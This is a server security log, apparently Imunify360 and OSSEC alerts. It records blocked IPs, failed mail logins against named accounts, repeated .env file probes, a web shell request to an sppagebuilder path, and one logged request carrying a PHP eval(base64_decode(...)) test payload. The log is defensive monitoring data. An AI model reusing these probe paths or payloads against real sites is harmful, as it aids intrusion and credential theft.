abuser: 43.138.247.211
country_id: 1814991
description:
Jul 25 05:46:32 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 43.138.247.211 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.176.122.32
country_id: 130758
description:
2026-07-25 05:47:40 dovecot_login authenticator failed for H=([49.124.151.25]) [213.176.122.32]:46686: 535 Incorrect authentication data


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 61.149.15.47
country_id: 1814991
description:
Jul 25 05:47:16 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 61.149.15.47 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.149.15.47
country_id: 1814991
description:
2026-07-25 05:47:18 dovecot_login authenticator failed for H=(60-249-252-94.hinet-ip.hinet.net) [61.149.15.47]:50034: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 36.138.44.211
country_id: 1814991
description:
2026-07-25 05:47:52 dovecot_login authenticator failed for H=([178.178.222.58]) [36.138.44.211]:48748: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 36.138.44.211
country_id: 1814991
description:
Jul 25 05:47:50 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 36.138.44.211 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 105.174.17.50
country_id: 3351879
description:
Jul 25 05:47:54 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 105.174.17.50 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 143.198.143.161
country_id: 6252001
description:
Jul 25 05:48:03 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 143.198.143.161 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.169.136.182
country_id: 6252001
description:
Jul 25 05:47:19 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.169.136.182 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.138.215.159
country_id: 1814991
description:
Jul 25 05:48:09 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.138.215.159 has been locked due to Imunify RBL


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 45.148.10.42
country_id: 2750405
domain: ahsmarine.com
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env.bak?_=4a0jshpi&v=r5en5||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 101.32.33.214
country_id: 1819730
description:
Jul 25 05:48:53 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 101.32.33.214 has been locked due to Imunify RBL


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 45.148.10.42
country_id: 2750405
domain: ahsmarine.com
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env.old?_=mk3uwbqz&v=33wgm||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.137.119.50
country_id: 1814991
description:
Jul 25 05:48:12 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.137.119.50 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.90.67.84
country_id: 1643084
description:
Jul 25 05:49:05 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.90.67.84 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.71
country_id: 130758
description:
Jul 25 05:49:12 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.71 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 82.157.132.42
country_id: 1814991
description:
Jul 25 05:49:36 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 82.157.132.42 has been locked due to Imunify RBL


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 45.148.10.42
country_id: 2750405
domain: ahsmarine.com
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=3qsqixo9&v=5xsy1||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 159.69.141.98
country_id: 2921044
description:
Jul 25 05:49:41 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 159.69.141.98 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 75.158.203.80
country_id: 6251999
description:
Jul 25 05:49:46 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 75.158.203.80 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 139.196.37.197
country_id: 1814991
description:
Jul 25 05:50:31 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 139.196.37.197 has been locked due to Imunify RBL


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 45.148.10.42
country_id: 2750405
domain: ahsmarine.com
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=c9r1607s&v=8q53s||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 39.105.128.185
country_id: 1814991
description:
Jul 25 05:50:22 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 39.105.128.185 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.253.248.7
country_id: 130758
description:
Jul 25 05:51:03 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.253.248.7 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 118.25.67.181
country_id: 1814991
description:
Jul 25 05:51:08 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 118.25.67.181 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.216.118.192
country_id: 1562822
description:
Jul 25 05:51:22 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.216.118.192 has been locked due to Imunify RBL


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 45.148.10.42
country_id: 2750405
domain: ahsmarine.com
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=rtko66s8&v=byd85||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 115.190.242.203
country_id: 1814991
description:
Jul 25 05:51:24 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 115.190.242.203 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 51.178.251.73
country_id: 3017382
description:
Jul 25 05:52:09 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 51.178.251.73 has been locked due to Imunify RBL


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 45.148.10.42
country_id: 2750405
domain: ahsmarine.com
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=ygr5bktb&v=mkw8e||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 2.26.252.159
country_id: 6252001
description:
Jul 25 05:52:34 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 2.26.252.159 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.51
country_id: 130758
description:
Jul 25 05:52:37 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.51 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 108.174.146.197
country_id: 3469034
description:
Jul 25 05:52:43 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 108.174.146.197 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.216.117.118
country_id: 1562822
description:
Jul 25 05:52:42 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.216.117.118 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.152.102.54
country_id: 1168579
description:
2026-07-25 05:53:42 dovecot_login authenticator failed for H=([111.70.49.181]) [119.152.102.54]:45347: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 119.152.102.54
country_id: 1168579
description:
Jul 25 05:53:40 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 119.152.102.54 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.250.200.4
country_id: 2245662
description:
Jul 25 05:53:28 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.250.200.4 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.130.76.154
country_id: 1814991
description:
Jul 25 05:53:29 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.130.76.154 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.163.8.64
country_id: 1814991
description:
Jul 25 05:53:39 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.163.8.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.88.56.201
country_id: 6252001
description:
Jul 25 05:54:00 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.88.56.201 has been locked due to Imunify RBL


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 45.148.10.42
country_id: 2750405
domain: ahsmarine.com
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=evz5ju8w&v=jzin7||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.106.223.170
country_id: 1814991
description:
Jul 25 05:54:33 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.106.223.170 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.219.70.92
country_id: 130758
description:
Jul 25 05:54:34 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.219.70.92 has been locked due to Imunify RBL


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 216.126.227.187
country_id: 6252001
domain: fefkadirectorsunion.com
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/aoxkmurw/fonts/yvvsofhh.PHP||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 164.92.198.75
country_id: 2921044
description:
Jul 25 05:55:07 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 164.92.198.75 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.253.248.62
country_id: 130758
description:
Jul 25 05:55:09 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.253.248.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 38.148.99.59
country_id: 6252001
description:
Jul 25 05:54:12 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 38.148.99.59 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 101.33.249.217
country_id: 1814991
description:
Jul 25 05:54:47 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 101.33.249.217 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.42
country_id: 130758
description:
Jul 25 05:54:14 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.42 has been locked due to Imunify RBL


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 45.148.10.42
country_id: 2750405
domain: ahsmarine.com
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=qu6f9sbw&v=44qu0||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 91.243.81.26
country_id: 1880251
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:05-54.91.243.81.26||RSV:8.35||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 38.148.99.59
country_id: 6252001
description:
2026-07-25 05:54:14 dovecot_login authenticator failed for H=([192.252.214.22]) [38.148.99.59]:46898: 535 Incorrect authentication data (set_id=khalid)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.152.165.117
country_id: 1562822
description:
Jul 25 05:54:16 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.152.165.117 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 118.178.146.133
country_id: 1814991
description:
Jul 25 05:55:39 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 118.178.146.133 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 118.139.165.143
country_id: 1880251
description:
Jul 25 05:56:00 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 118.139.165.143 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 188.36.7.196
country_id: 719819
description:
Jul 25 05:56:10 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 188.36.7.196 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.109.89
country_id: 3017382
description:
Jul 25 05:55:59 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.109.89 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 36.144.72.180
country_id: 1814991
description:
2026-07-25 05:56:05 dovecot_login authenticator failed for H=([45.14.84.2]) [36.144.72.180]:59158: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 45.148.10.42
country_id: 2750405
domain: ahsmarine.com
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=9n70htia&v=n6je8||RSV:8.35||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.36.7.196
country_id: 719819
description:
2026-07-25 05:56:12 dovecot_login authenticator failed for H=bc2407c4.catv.pool.telekom.hu (203-196-42-114.static.dsl.net.au) [188.36.7.196]:43668: 535 Incorrect authentication data (set_id=website@cochinbigbandshow.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 210.211.98.70
country_id: 1562822
description:
Jul 25 05:55:54 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 210.211.98.70 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 36.144.72.180
country_id: 1814991
description:
Jul 25 05:56:03 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 36.144.72.180 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.114.125.24
country_id: 1814991
description:
Jul 25 05:56:18 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.114.125.24 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.5.117.238
country_id: 1694008
description:
2026-07-25 05:56:20 dovecot_login authenticator failed for H=([89.121.255.194]) [210.5.117.238]:51359: 535 Incorrect authentication data (set_id=khalid)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 14.161.12.247
country_id: 1562822
description:
Jul 25 05:56:59 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 14.161.12.247 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 210.5.117.238
country_id: 1694008
description:
Jul 25 05:56:18 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 210.5.117.238 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 161.132.42.84
country_id: 3932488
description:
Jul 25 05:56:21 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 161.132.42.84 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 68.178.167.58
country_id: 6252001
description:
Jul 25 05:57:07 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 68.178.167.58 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.6.81.59
country_id: 1880251
description:
Jul 25 05:56:33 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.6.81.59 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.138.98.28
country_id: 1814991
description:
Jul 25 05:56:55 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.138.98.28 has been locked due to Imunify RBL


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 45.148.10.42
country_id: 2750405
domain: ahsmarine.com
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=4oahtzjk&v=gd64s||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 104.192.3.227
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://samedayhvacrepair2.info\">web site</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.35||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.6.81.59
country_id: 1880251
description:
2026-07-25 05:56:35 dovecot_login authenticator failed for H=bb121-6-81-59.singnet.com.sg ([78.136.223.227]) [121.6.81.59]:58468: 535 Incorrect authentication data (set_id=khalid)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 43.132.215.237
country_id: 1819730
description:
Jul 25 05:56:21 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 43.132.215.237 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 82.117.226.88
country_id: 1835841
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:05-56.82.117.226.88||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 167.99.240.181
country_id: 2921044
description:
Jul 25 05:56:46 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 167.99.240.181 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 218.92.236.102
country_id: 1814991
description:
Jul 25 05:56:21 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 218.92.236.102 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.92.236.102
country_id: 1814991
description:
2026-07-25 05:56:23 dovecot_login authenticator failed for H=([49.124.159.195]) [218.92.236.102]:60638: 535 Incorrect authentication data (set_id=website)


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 45.148.10.42
country_id: 2750405
domain: ahsmarine.com
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=wzndgob4&v=qii56||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 106.54.200.14
country_id: 1814991
description:
Jul 25 05:57:47 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 106.54.200.14 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 91.199.84.185
country_id: 1819730
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:05-57.91.199.84.185||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 148.66.155.73
country_id: 1880251
description:
Jul 25 05:57:33 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 148.66.155.73 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.253.248.23
country_id: 130758
description:
Jul 25 05:58:08 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.253.248.23 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 115.190.227.186
country_id: 1814991
description:
Jul 25 05:57:14 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 115.190.227.186 has been locked due to Imunify RBL


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 45.148.10.42
country_id: 2750405
domain: ahsmarine.com
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/api/.env?_=yn4qv2hm&v=u3ib1||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.57.200.119
country_id: 1835841
description:
Jul 25 05:59:04 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.57.200.119 has been locked due to Imunify RBL


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 45.148.10.42
country_id: 2750405
domain: ahsmarine.com
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/api/.env?_=nx93x9my&v=63bu9||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.37
country_id: 130758
description:
Jul 25 05:59:36 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.37 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 101.42.7.20
country_id: 1814991
description:
Jul 25 06:00:48 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 101.42.7.20 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 221.162.175.253
country_id: 1835841
description:
Jul 25 06:00:42 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 221.162.175.253 has been locked due to Imunify RBL


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 45.148.10.42
country_id: 2750405
domain: ahsmarine.com
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=zluhsfo2&v=85nph||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 189.56.0.19
country_id: 3469034
description:
Jul 25 06:00:20 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 189.56.0.19 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 189.56.0.19
country_id: 3469034
description:
2026-07-25 06:00:22 dovecot_login authenticator failed for H=(www01.irishtitan.ul.zerolag.com) [189.56.0.19]:47626: 535 Incorrect authentication data (set_id=shokria@idealloanz.com.au)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.254.25.63
country_id: 6252001
description:
Jul 25 06:00:19 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.254.25.63 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.162.175.253
country_id: 1835841
description:
2026-07-25 06:00:44 dovecot_login authenticator failed for H=([124.153.189.92]) [221.162.175.253]:47152: 535 Incorrect authentication data (set_id=shokria)


plugin: modsec
rule: 77350942
name: IM360 WAF: Dangerous PHP functions in REQUEST_URI
abuser: 151.241.171.117
country_id: 2921044
domain: 103.185.74.189
description:
IM360 WAF: Dangerous PHP functions in REQUEST_URI||MV:/images/sppagebuilder/86a453ef.php?cmd=eval(base64_decode('cHJpbnQoJ1NIRUxMVEVTVDEyMycpOw=='));||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.61.54.90
country_id: 1814991
description:
Jul 25 06:02:03 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.61.54.90 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 66.116.233.132
country_id: 1269750
description:
Jul 25 06:01:47 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 66.116.233.132 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.70
country_id: 130758
description:
Jul 25 06:01:28 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.70 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.106.104.25
country_id: 1562822
description:
Jul 25 06:01:23 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.106.104.25 has been locked due to Imunify RBL


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 45.148.10.42
country_id: 2750405
domain: ahsmarine.com
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/dev/.env?_=f0ef58jd&v=nx5py||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 91.243.81.101
country_id: 1880251
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:06-02.91.243.81.101||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 45.148.10.42
country_id: 2750405
domain: ahsmarine.com
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/dev/.env?_=6fxtdwve&v=72wzg||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 68.178.172.34
country_id: 6252001
description:
Jul 25 06:02:26 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 68.178.172.34 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 142.93.208.47
country_id: 1269750
description:
Jul 25 06:02:58 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 142.93.208.47 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 43.160.244.105
country_id: 1880251
description:
Jul 25 06:02:36 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 43.160.244.105 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.170.100.253
country_id: 1269750
description:
